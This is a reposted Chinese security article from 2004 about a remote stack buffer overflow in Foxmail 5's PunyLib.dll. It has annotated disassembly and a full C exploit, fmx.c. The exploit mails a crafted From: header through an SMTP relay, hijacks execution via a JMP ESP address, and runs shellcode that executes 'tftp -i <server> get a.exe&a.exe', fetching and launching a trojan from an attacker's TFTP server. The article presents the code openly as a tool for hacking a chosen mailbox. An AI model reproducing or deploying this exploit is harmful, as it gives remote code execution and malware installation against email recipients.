首页 » 技术分享 » 【实战】Foxmail 5远程缓冲区溢出漏洞

【实战】Foxmail 5远程缓冲区溢出漏洞

 

Foxmail 5远程缓冲区溢出漏洞

创建时间:2004-03-22 更新时间:2004-03-22

文章属性:原创

文章提交:
root (webmaster_at_xfocus.org)

安全焦点<
http://www.xfocus.net>

注:本文是2004年2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfocus成员听说存在这一漏洞后对Foxmail进行分析,并写出利用代码。2004年3月18日启明星辰公布漏洞并发布相关补丁。

测试环境:win2k sp4+foxmail 5.0.300

以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。

问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。

具体处理过程如下:

.text:10002040                 public UrlToLocal

.text:10002040 UrlToLocal      proc near

.text:10002040

.text:10002040 arg_0           = dword ptr  4

.text:10002040 arg_4           = dword ptr  8

.text:10002040

.text:10002040                 mov     eax, dword_1000804C

.text:10002045                 mov     ecx, dword_10008030

.text:1000204B                 mov     edx, [esp+arg_4]

.text:1000204F                 push    offset aHttp    ; "
http://"

.text:10002054                 push    eax

.text:10002055                 mov     eax, [esp+8+arg_0]

.text:10002059                 push    offset unk_10008034

.text:1000205E                 push    ecx

.text:1000205F                 push    edx

.text:10002060                 push    eax

.text:10002061                 call    sub_10002070  ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容

.text:10002070 sub_10002070    proc near               ; CODE XREF: UrlToLocal+21p

.text:10002070                                         ; EmailAdrToLocal+107p

.text:10002070

.text:10002070 var_600         = dword ptr -600h

.text:10002070 var_500         = dword ptr -500h

.text:10002070 var_400         = dword ptr -400h

.text:10002070 var_300         = dword ptr -300h

.text:10002070 var_200         = dword ptr -200h

.text:10002070 var_100         = dword ptr -100h

.text:10002070 arg_0           = dword ptr  4

.text:10002070 arg_4           = dword ptr  8

.text:10002070 arg_8           = dword ptr  0Ch

.text:10002070 arg_C           = dword ptr  10h

.text:10002070 arg_10          = dword ptr  14h

.text:10002070 arg_14          = dword ptr  18h

.text:10002070

.text:10002070                 mov     edx, [esp+arg_0]

.text:10002074                 sub     esp, 600h

......

.text:100020DF                 push    eax

.text:100020E0                 push    ecx

.text:100020E1                 push    ebx

.text:100020E2                 call    sub_10001A30  ;调用10001A30,就是这个函数里面溢出了

.text:10001A30 sub_10001A30    proc near               ; CODE XREF: sub_10002070+72p

.text:10001A30                                         ; sub_10002290+95p

.text:10001A30

.text:10001A30 var_104         = dword ptr -104h

.text:10001A30 var_100         = dword ptr -100h

.text:10001A30 arg_0           = dword ptr  4

.text:10001A30 arg_4           = dword ptr  8

.text:10001A30 arg_8           = dword ptr  0Ch

.text:10001A30 arg_C           = dword ptr  10h

.text:10001A30 arg_10          = dword ptr  14h

.text:10001A30 arg_14          = dword ptr  18h

.text:10001A30

.text:10001A30                 sub     esp, 104h  ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200

.text:10001A36                 push    ebx

.text:10001A37                 mov     ebx, [esp+108h+arg_0]

.text:10001A3E                 push    ebp

.text:10001A3F                 mov     ebp, [esp+10Ch+arg_10]

.text:10001A46                 push    esi

.text:10001A47                 xor     esi, esi

......

.text:10001AA9                 sub     edi, ecx

.text:10001AAB                 mov     eax, ecx

.text:10001AAD                 mov     esi, edi

.text:10001AAF                 mov     edi, edx

.text:10001AB1                 shr     ecx, 2

.text:10001AB4                 rep movsd  ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里

.text:10001AB6                 mov     ecx, eax

.text:10001AB8                 and     ecx, 3

.text:10001ABB                 rep movsb

......

.text:10001AE7                 mov     edi, [esp+114h+arg_C]

.text:10001AEE                 shr     ecx, 2

.text:10001AF1                 rep movsd  ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0

.text:10001AF3                 mov     ecx, eax

.text:10001AF5                 and     ecx, 3

.text:10001AF8                 rep movsb

......

.text:10001BD7                 pop     edi

.text:10001BD8                 pop     esi

.text:10001BD9                 pop     ebp

.text:10001BDA                 pop     ebx

.text:10001BDB                 add     esp, 104h

.text:10001BE1                 retn  ;返回的时候就会回到我们的JMP ESP地址去

这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,/r,/n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。

有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。

/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit

*

* (C) COPYRIGHT XFOCUS Security Team, 2004

* All Rights Reserved

* -----------------------------------------------------------------------

* Author   : xfocus <webmaster@xfocus.org>

*          :
http://www.xfocus.org

* Maintain : XFOCUS Security Team <security@xfocus.org>

* Version  : 0.2

*

* Test     : Windows 2000 server GB/XP professional

*                + Foxmail 5.0.300.0

* Notes    : unpublished vul.

* Greets   : all member of XFOCUS Security Team.

* Complie  : cl fmx.c

* Usage    : fmx <mail_addr> <tftp_server> <smtp_server>

*             mail_addr: email address we wantto hack

*             tftp_server: run a tftp server and have a a.exe trojan

*             smtp_server: SMTP server don't need login, we send the email thru it

*

* Date     : 2004-02-27

* Revised  : 2004-03-05

*

* Revise History:

* 2003-03-05  call WinExec() addr of Foxmail.exe module to run tftp for down&execute

*/

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#pragma comment (lib,"ws2_32")

//mail body, it's based on a real spam email, heh

unsigned char packet[] =

"From: %s/r/n" //buffer to overrun

"Subject: Hi,man/r/n"

"MIME-Version: 1.0/r/n"

"Content-Type: multipart/mixed; boundary=/"87122827/"/r/n"

"/r/n"

"/r/n"

"--87122827/r/n"

"Content-Type: text/plain; charset=us-ascii/r/n"

"Content-Transfer-Encoding: 7bit/r/n"

"/r/n"

"T/r/n"

"/r/n"

"--87122827/r/n"

"Content-Disposition: attachment/r/n"

"Content-Type: Text/HTML;/r/n"

"  name=/"girl.htm/"/r/n"

"Content-Transfer-Encoding: 7bit/r/n"

"/r/n"

"<html></html>/r/n"

"--87122827--/r/n"

"/r/n"

"./r/n";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)

unsigned char winexec[] =

"/x83/xec/x50/xeb/x0c/xb9/x41/x10/xd3/x5d/xc1/xe9/x08/xff/x11/xeb/x08/x33/xdb/x53/xe8/xec/xff/xff/xff";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

unsigned char winexec2[] =

"/x83/xec/x50/xeb/x0c/xb9/x41/x10/xa3/x5d/xc1/xe9/x08/xff/x11/xeb/x08/x33/xdb/x53/xe8/xec/xff/xff/xff";

#define SMTPPORT 25

int  Make_Connection(char *address,int port,int timeout);

int  SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);

int main(int argc, char * argv[])

{

    WSADATA WSAData;

    char *mailaddr = NULL;

    char *tftp = NULL;

    char *smtpserver = NULL;

    if(argc!=4)

    {

        printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>/ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1/n", argv[0], argv[0]);

        return 1;

    }

    mailaddr=argv[1];

    tftp=argv[2];

    smtpserver=argv[3];

    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

    {

        printf("WSAStartup failed./n");

        WSACleanup();

        exit(1);

    }

    

    //WinExec() address

    SendXMail(mailaddr, tftp, smtpserver, winexec);  //WinExec() address in Foxmail.exe module(foxmail 5.0.300)

    SendXMail(mailaddr, tftp, smtpserver, winexec2);  //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

    WSACleanup();

    return 0;

}

//  建立TCP连接

//  输入:

//       char * address  IP地址

//       int  port       端口

//       int  timeout    延时

//  输出:

//  返回:

//       成功 >0

//       错误 <=0    

int Make_Connection(char *address,int port,int timeout)

{

    struct sockaddr_in target;

    SOCKET s;

    int i;

    DWORD bf;

    fd_set wd;

    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);

    if(s<0)

        return -1;

    target.sin_family = AF_INET;

    target.sin_addr.s_addr = inet_addr(address);

    if(target.sin_addr.s_addr==0)

    {

        closesocket(s);

        return -2;

    }

    target.sin_port = htons(port);

    bf = 1;

    ioctlsocket(s,FIONBIO,&bf);

    tv.tv_sec = timeout;

    tv.tv_usec = 0;

    FD_ZERO(&wd);

    FD_SET(s,&wd);

    connect(s,(struct sockaddr *)&target,sizeof(target));

    if((i=select(s+1,0,&wd,0,&tv))==(-1))

    {

        closesocket(s);

        return -3;

    }

    if(i==0)

    {

        closesocket(s);

        return -4;

    }

    i = sizeof(int);

    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);

    if((bf!=0)||(i!=sizeof(int)))

    {

        closesocket(s);

        return -5;

    }

    ioctlsocket(s,FIONBIO,&bf);

    return s;

}

//send magic mail

int  SendXMail(    char *mailaddr, char *tftp, char *smtpserver, char *shellcode)

{

    SOCKET  csock;

    int     ret,i=0;

    char buf[510], sbuf[0x10000], tmp[500], tmp1[500];

    csock = Make_Connection(smtpserver, SMTPPORT, 10);

    if(csock<0)

    {

        printf("connect err./n");

        exit(1);

    }

    memset(buf, 0, sizeof(buf));

    ret=recv(csock, buf, 4096, 0);

    if(ret<=0)

    {

        printf("recv err./n");

        exit(1);

    }

    printf(buf);

    ret=send(csock, "HELO server/r/n",strlen("HELO server/r/n"), 0);

    if(ret<=0)

    {

        printf("send err./n");

        exit(1);

    }

    memset(buf, 0, sizeof(buf));

    ret=recv(csock, buf, 4096, 0);

    if(ret<=0)

    {

        printf("recv err./n");

        exit(1);

    }

    printf(buf);

    ret=send(csock, "MAIL FROM: info@sina.com/r/n",strlen("MAIL FROM: info@sina.com/r/n"), 0);

    if(ret<=0)

    {

        printf("send err./n");

        exit(1);

    }

    memset(buf, 0, sizeof(buf));

    ret=recv(csock, buf, 4096, 0);

    if(ret<=0)

    {

        printf("recv err./n");

        exit(1);

    }

    printf(buf);

    

    sprintf(tmp, "RCPT TO: %s/r/n", mailaddr);

    ret=send(csock, tmp,strlen(tmp), 0);

    if(ret<=0)

    {

        printf("send err./n");

        exit(1);

    }

    memset(buf, 0, sizeof(buf));

    ret=recv(csock, buf, 4096, 0);

    if(ret<=0)

    {

        printf("recv err./n");

        exit(1);

    }

    printf(buf);

    Sleep(1000);

    

    ret=send(csock, "DATA/r/n",strlen("DATA/r/n"), 0);

    if(ret<=0)

    {

        printf("send err./n");

        exit(1);

    }

    memset(buf, 0, sizeof(buf));

    ret=recv(csock, buf, 4096, 0);

    if(ret<=0)

    {

        printf("recv err./n");

        exit(1);

    }

    printf(buf);

    printf("send exploit mail.../n");

    memset(sbuf, 0, sizeof(sbuf));

    memset(buf, 0, sizeof(buf));

    memset(buf, 0x41, sizeof(buf)-1);

    memset(tmp, 0, sizeof(tmp));

    //strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)

    strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module

    strcat(tmp, "cmd /c tftp -i %s get a.exe&a.exe:");

    sprintf(tmp1, tmp, tftp);

    memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));

    *(int *)(buf+0x100)=0x7ffa54cd;  //ret addr jmp esp

    *(int *)(buf+0x104)=0x80eb80eb;  //jmp back

    *(int *)(buf+0x108)=0x7ffdf220;  //writeable addr

    *(int *)(buf+0x110)=0x7ffdf220;  //writeable addr

    memcpy(buf, "girl/x0d", 5);

    sprintf(sbuf, (char *)packet, buf);

    ret=send(csock, sbuf,strlen(sbuf), 0);

    if(ret<=0)

    {

        printf("send err./n");

        exit(1);

    }

    memset(buf, 0, sizeof(buf));

    ret=recv(csock, buf, 4096, 0);

    if(ret<=0)

    {

        printf("recv err./n");

        exit(1);

    }

    printf(buf);

    printf("exploit mail sent./n");

    closesocket(csock);

    return 0;

}

转载自原文链接, 如需删除请联系管理员。

原文链接:【实战】Foxmail 5远程缓冲区溢出漏洞,转载请注明来源!

0